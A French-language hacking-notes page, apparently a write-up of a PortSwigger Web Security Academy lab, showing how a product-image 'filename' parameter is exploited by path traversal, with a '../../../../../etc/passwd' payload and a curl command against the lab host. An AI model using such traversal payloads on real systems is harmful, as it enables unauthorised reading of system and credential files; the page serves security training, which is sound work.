> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/path-traversal/basic-path-traversal.md).

# Traversée de chemin de base

Notes sur la traversée de chemin de base pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Chemin de traversée de fichier, cas simple

Ce laboratoire présente une vulnérabilité de traversée de chemin lors de l’affichage des images de produits. / Pour résoudre cela, accédez simplement au contenu de **/etc/passwd** fichier.

Les images sont chargées à l’aide d’un **nom de fichier** :

```bash
/image?filename=53.jpg
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1708318fdef88340bcc011a782ab57c794a85b4%2Fimage%20(249).png?alt=media" alt=""><figcaption></figcaption></figure>

En remplaçant ce nom de fichier par une séquence qui vous permet de remonter dans l’arborescence, vous pouvez cibler des fichiers système :

```bash
/image?filename=../../../../../etc/passwd
```

Exemple avec **curl**:

{% code overflow="wrap" %}

```bash
curl 'https://0ae100b3030baaee8586042900fd00e8.web-security-academy.net/image?filename=../../../../../etc/passwd'
```

{% endcode %}

Cette charge utile affiche le contenu du fichier passwd, validant ainsi le laboratoire.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb4ccdb8c0f97f35787955ce336c2c460f96d84%2Fimage%20(250).png?alt=media" alt=""><figcaption></figcaption></figure>


---

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